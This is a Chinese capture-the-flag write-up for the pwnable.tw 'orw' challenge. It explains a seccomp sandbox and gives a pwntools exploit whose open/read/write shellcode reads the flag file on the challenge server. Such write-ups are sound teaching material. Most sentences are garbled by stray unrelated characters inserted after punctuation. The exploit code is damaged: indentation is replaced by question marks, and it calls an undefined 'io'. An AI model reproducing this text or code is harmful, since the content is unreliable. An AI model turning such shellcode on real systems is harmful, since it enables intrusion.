概述:本題是pwn的入門級題目,主要是讓初學(xué)者學(xué)會(huì)編寫shellcode豌鹤。
1亡哄、首先file start,可以看到這是一個(gè)32位的elf文件傍药,動(dòng)態(tài)鏈接磺平,同時(shí)保留了符號信息;
2拐辽、然后checksec orw拣挪,可以看到只開啟了Canary;
3俱诸、然后用IDA打開目標(biāo)文件開始分析菠劝,用F5查看可知主函數(shù)邏輯比較簡單清晰,先調(diào)用了一個(gè)orw_seccomp()函數(shù)睁搭,然后會(huì)將我們輸入的字符串直接執(zhí)行赶诊,所以本題不需要再找其他的漏洞笼平,但是嘗試發(fā)送開shell的shellcode會(huì)發(fā)現(xiàn)失敗,似乎會(huì)返回一個(gè)shell舔痪,但不返回命令的結(jié)果寓调,然后開始研究orw_seccomp()函數(shù)。
【引用】seccomp 是 secure computing 的縮寫锄码,其是 Linux kernel 從2.6.23版本引入的一種簡潔的 sandboxing 機(jī)制夺英。在 Linux 系統(tǒng)里,大量的系統(tǒng)調(diào)用(system call)直接暴露給用戶態(tài)程序滋捶。但是痛悯,并不是所有的系統(tǒng)調(diào)用都被需要,而且不安全的代碼濫用系統(tǒng)調(diào)用會(huì)對系統(tǒng)造成安全威脅重窟。seccomp安全機(jī)制能使一個(gè)進(jìn)程進(jìn)入到一種“安全”運(yùn)行模式载萌,該模式下的進(jìn)程只能調(diào)用4種系統(tǒng)調(diào)用(system call),即 read(), write(), exit() 和 sigreturn()巡扇,否則進(jìn)程便會(huì)被終止扭仁。
【引用】seccomp 簡單來說就是一個(gè)白名單,每個(gè)進(jìn)程進(jìn)行系統(tǒng)調(diào)用(system call)時(shí)霎迫,kernal 都會(huì)檢查對應(yīng)的白名單以確認(rèn)該進(jìn)程是否有權(quán)限使用這個(gè)系統(tǒng)調(diào)用斋枢。這個(gè)白名單是用 berkeley package filter(BPF)格式書寫的。
由上面的引用內(nèi)容可知知给,應(yīng)該是存在一個(gè)白名單內(nèi)記錄著進(jìn)程允許的系統(tǒng)調(diào)用,而開shell的系統(tǒng)調(diào)用明顯不在其中描姚,然后開始分析seccomp函數(shù)涩赢,看到其中調(diào)用了memcpy()將0x8048460開始的0x60大小的內(nèi)容拷貝到棧上,懷疑這個(gè)就是白名單轩勘,利用ida腳本將其dump出來筒扒,苦逼的是不知道怎么解讀這段數(shù)據(jù),百度也沒有找到相關(guān)內(nèi)容绊寻,如果有哪個(gè)大佬知道請指教花墩。
分析到這里只能選擇嘗試的辦法來進(jìn)行分析了,雖然不能開shell但終極目的并不是開shell而是獲得flag澄步,所以我們可以試一下read冰蘑、write等的shellcode能否被執(zhí)行,基于此思路并參考Linux Syscall Reference(http://syscalls.kernelgrok.com/)寫出如下exp:
# -*- coding:utf-8 -*-
"""
exp for pwnable.tw orw.
by rafa.
"""
from pwn import? *
def exp():
? ? p = remote('chall.pwnable.tw',10001)
? ? p.recvuntil(':')
# 先 open 文件村缸,然后 read 讀出內(nèi)容祠肥,再 write 打印到終端
? ? shellcode = "xor? ecx,ecx;push ecx;push 0x67616c66;push 0x2f77726f;push 0x2f656d6f;push 0x682f2f2f;mov? ebx,esp;xor? edx,edx;mov? eax,0x5;int? 0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"
? ? p.send(asm(shellcode))
? ? print io.recv()
? ? p.interactive()
if __name__ == '__main__':
exp()
其中shellcode部分解釋如下:
sys_open 系統(tǒng)調(diào)用傳遞的四個(gè)寄存器參數(shù)即具體實(shí)現(xiàn):
eax = 0x05 系統(tǒng)調(diào)用號
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可
具體實(shí)現(xiàn):
??? xor? ecx,ecx;
??? push ecx;
??? push 0x67616c66;
??? push 0x2f77726f;
??? push 0x2f656d6f;
??? push 0x682f2f2f;
??? mov? ebx,esp;
??? xor? edx,edx;
??? mov? eax,0x5;
??? int? 0x80
sys_read 系統(tǒng)調(diào)用傳遞的四個(gè)寄存器參數(shù)即具體實(shí)現(xiàn):
eax = 0x03? 系統(tǒng)調(diào)用號
ebx = fd 文件指針,就是open的返回值梯皿,不需要改變
ecx = buf 緩沖區(qū)仇箱,指向棧頂位置
edx = count? 字節(jié)數(shù)
具體實(shí)現(xiàn):
??? mov ebx,eax;
??? mov ecx,esp;
??? mov edx,0x30;
??? mov eax,0x3;
??? int 0x80
sys_write 系統(tǒng)調(diào)用傳遞的四個(gè)寄存器參數(shù)即具體實(shí)現(xiàn):
eax = 0x04? 系統(tǒng)調(diào)用號
ebx = fd? 文件指針县恕,置為1,打印到屏幕
ecx = buf? 緩沖區(qū)剂桥,指向棧頂
edx = count
具體實(shí)現(xiàn):
??? mov eax,0x4;
??? mov ebx,0x1;
??? mov edx,0x30;
??? int 0x80
運(yùn)行獲得flag: